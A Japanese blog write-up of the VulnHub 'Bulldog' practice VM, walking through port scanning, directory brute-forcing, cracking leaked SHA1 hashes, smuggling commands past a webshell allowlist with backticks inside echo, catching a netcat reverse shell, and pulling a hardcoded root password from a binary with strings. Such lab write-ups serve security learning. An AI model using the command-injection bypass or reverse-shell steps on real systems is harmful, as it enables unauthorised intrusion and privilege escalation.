#!

路上に就職!

Bulldog writeup

vulnhubで公開されてるBullDogという問題を解きました。

https://www.vulnhub.com/entry/bulldog-1,211/

f:id:x6d61:20171230214954p:plain

仮想をマシンを起動したらIPアドレスが192.168.56.101だということがわかりました。起動してすぐにipアドレスがわかるのはいいですね。

次にNmapでポートスキャンをかけます。

sudo nmap -T4 -sS -sC -sV 192.168.56.101 -p0-65535
Password:

Starting Nmap 7.30 ( https://nmap.org ) at 2017-12-30 21:51 JST
Nmap scan report for www.convert.me (192.168.56.101)
Host is up (0.00096s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|_  256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.95 seconds

80と8080でwebサービスが動いています。NmapいわくwebアプリはPython製らしいです。 あと23でsshが動いています。

webサービスにアクセスすると可愛いブルドックの画像が載っているページが表示されます。

f:id:x6d61:20171230220609p:plain

攻撃できそうな部分がなかったのでdirsearch.pyを使いディレクトリを調べます。

python dirsearch.py -u http://192.168.56.101 -e php

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5151

Error Log: /Users/0x6d61/tool/dirsearch/logs/errors-17-12-31_12-28-24.log

Target: http://192.168.56.101

[12:28:24] Starting:
[12:28:33] 301 -    0B  - /admin  ->  http://192.168.56.101/admin/
[12:28:33] 302 -    0B  - /admin/  ->  http://192.168.56.101/admin/login/?next=/admin/
[12:28:33] 302 -    0B  - /admin/?/login  ->  http://192.168.56.101/admin/login/?next=/admin/%3F/login
[12:28:34] 301 -    0B  - /admin/login  ->  http://192.168.56.101/admin/login/
[12:28:43] 301 -    0B  - /dev  ->  http://192.168.56.101/dev/
[12:28:43] 200 -    3KB - /dev/
[12:28:54] 200 -    1KB - /robots.txt

adminは管理画面、devはセキュリティのためのwebshellを開発した的なことが書いてあります。このwebshellは認証をしないと使えないようです。

f:id:x6d61:20171231123347p:plain

f:id:x6d61:20171231123753p:plain

devのhtmlのソースを見るとhashらしきものがコメントアウトされています。

f:id:x6d61:20171231123816p:plain

sha1っぽいのでオンラインのハッシュクラッカーに投げて見ます。

f:id:x6d61:20171231124214p:plain

nickとsarahのpasswordがわかりました。

nick:bulldog
sarah:bulldoglover

管理画面からログインしwebshellにアクセスするとコマンドが実行できるようになりました。 ただ、許可されたコマンドしか実行できないようなのでこれを回避する方法を考えます。

f:id:x6d61:20171231124825p:plain

echoコマンドが実行できるようなので echo "a `id`" バッククォーテーションを使いコマンドを実行してみます。

f:id:x6d61:20171231125317p:plain

許可されていないidコマンドが実行できました。nc でreverse shellを転送し実行します。

f:id:x6d61:20171231125551p:plain

nc -l 4444
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
$ uname -a
Linux bulldog 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$

shellを奪うことができました。次はroot権限を奪います。kernel に脆弱性があるか探しましたが 特にありませんでした。内部を探索すると /home/bulldogadmin に .hiddenadmindirectory というディレクトリがあることがわかりました。

$ pwd
/home/bulldogadmin/.hiddenadmindirectory
$ ls
customPermissionApp
note
$ cat note
Nick,

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley
$

ディレクトリにあるfile は customPermissionApp と note でnoteにはcustomPermissionAppの説明が書いてあります。fileコマンドで確認すると

~$ file customPermissionApp
customPermissionApp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c9f2333253302d74eff3da59653f82d28f9eb36f, not stripped

not strippedのバイナリのようです。 また、customPermissionApp を実行するとsudoコマンドが呼び出されていることがわかります。 次はstringsコマンドで確認すると

/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
        Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c

(snip)

SUPERから始まる気になる文字列があります。これがパスワードではないかと考えました。ここから試行錯誤すること数時間… パスワードは SUPERultimatePASSWORDyouCANTget であることがわかりました。

🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔

root@bulldog:~# cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
root@bulldog:~#

flagを読むことができました!!!

感想

パスワード推測問題をやめろ